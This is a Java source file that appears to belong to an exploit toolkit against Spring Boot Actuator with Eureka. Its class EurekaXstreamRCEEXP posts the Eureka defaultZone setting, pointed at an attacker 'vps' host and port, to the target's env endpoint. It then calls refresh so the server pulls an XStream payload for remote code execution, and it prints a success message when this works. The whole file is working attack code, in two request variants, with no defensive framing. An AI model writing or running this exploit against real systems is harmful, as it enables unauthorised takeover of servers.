package com.drops.exp;

import com.drops.exp.util.EnvPost;
import com.drops.exp.util.RefreshPost;
import com.drops.utils.URLUtil;

/**
 * @ClassName: EurekaXstreamRCE
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/29 11:09
 * @Version: v1.0.0
 * @Description:
 **/
public class EurekaXstreamRCEEXP {
    static String bobyV1 = "eureka.client.serviceUrl.defaultZone=";
    static String bobyV2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"";


    /**
     * @Description:
     * @param target http://127.0.0.1:9092/
     * @param vps   http://127.0.0.1:9092/example
     *
     * @return:
     */
    public  boolean setRCEV1(String target, String vps, String port){
        String boby = bobyV1 + vps + port + "/example";
        System.out.println(boby);
        if (EnvPost.isPostEnv(target)){
            if (RefreshPost.isRefreshPost(target)){
                if (EnvPost.PostEnv(target,boby)){
                    if (RefreshPost.isRefreshPost(target)){
                        System.out.println("EurekaXstreamRCEExp利用成功");
                        return true;
                    }
                    return false;
                }
            }
        }
        return false;
    }

    public  boolean setRCEV2(String target, String vps, String port){
        String boby = bobyV2 + vps + port + "/example\"}";
        System.out.println(boby);
        if (EnvPost.isPostEnvV2(target)){
            if (RefreshPost.isRefreshPostV2(target)){
                if (EnvPost.PostEnvV2(target,boby)){
                    if (RefreshPost.isRefreshPostV2(target)){
                        System.out.println("EurekaXstreamRCEExp利用成功");
                        return true;
                    }
                    return false;
                }
            }
        }
        return false;
    }
}
